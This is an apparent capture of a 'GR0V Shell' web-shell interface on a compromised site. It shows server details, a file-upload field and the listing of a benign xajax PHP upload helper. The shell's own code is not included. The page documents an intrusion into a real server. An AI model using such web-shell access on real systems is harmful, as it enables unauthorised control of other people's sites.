? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/libs-bak/xajax/
File Upload :
Current File : /home/admin/public_html/libs-bak/xajax/xajaxExtend.php

<?php
/**
* @author RainChen @ Mon Mar 12 23:25:46 CST 2007
* @uses xajax file upload extend
* @access public
* @version 0.1 
*/
include_once('xajax.inc.php');
 
class xajaxExtend extends xajax
{
  
  function processRequests()
  {
    if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_GET['xajax']))
    {
      $this->initProcessRequests();
    }
    parent::processRequests();
  }
  
  function initProcessRequests()
  {
    $xajaxRequest = array();
    $xajaxRequest['xajaxr'] = @$_GET['xajaxr'];
    $xajaxRequest['xajax'] = @$_GET['xajax'];
    // reset RequestMode
    if(isset($_GET['xajax']))
    {
      $_GET['xajax'] = null;
      unset($_GET['xajax']);
    }
    // get the upload file local path
    foreach(array_keys($_FILES) as $name)
    {
      if(isset($_GET[$name]) && !isset($_POST[$name]))
      {
        $_POST[$name] = $this->_decodeUTF8Data($_GET[$name]);
      }
    }
    $xajaxargs = array($this->getOriginalData($_POST));
    $xajaxRequest['xajaxargs'] = $xajaxargs;
    $_POST = $xajaxRequest;
  }
  
  function getJavascript($sJsURI="", $sJsFile=NULL)
  { 
    $html = parent::getJavascript($sJsURI,$sJsFile);
    // get the extend js
    if ($sJsFile == NULL) $sJsFile = "xajax_js/xajax_extend.js";
    if ($sJsURI != "" && substr($sJsURI, -1) != "/") $sJsURI .= "/";
    $html .= "\t<script type=\"text/javascript\" src=\"" . $sJsURI . $sJsFile . "\"></script>\n";
    return $html;
  }
  
  /**
   * get original request data from GET POST
  **/
  function getOriginalData($data)
  {
    if($data)
    {
      if(get_magic_quotes_gpc())
      {
        if (is_array($data))
        {
          foreach($data as $key=>$value)
          {
            $data[$key] = xajaxExtend::getOriginalData($value);
          }
        }
        else
        {
          $data = stripslashes($data);
        }
      }
    }
    return $data;
  }
 
}
 
?>

T1KUS90T
  root-grov@210.1.60.28:~$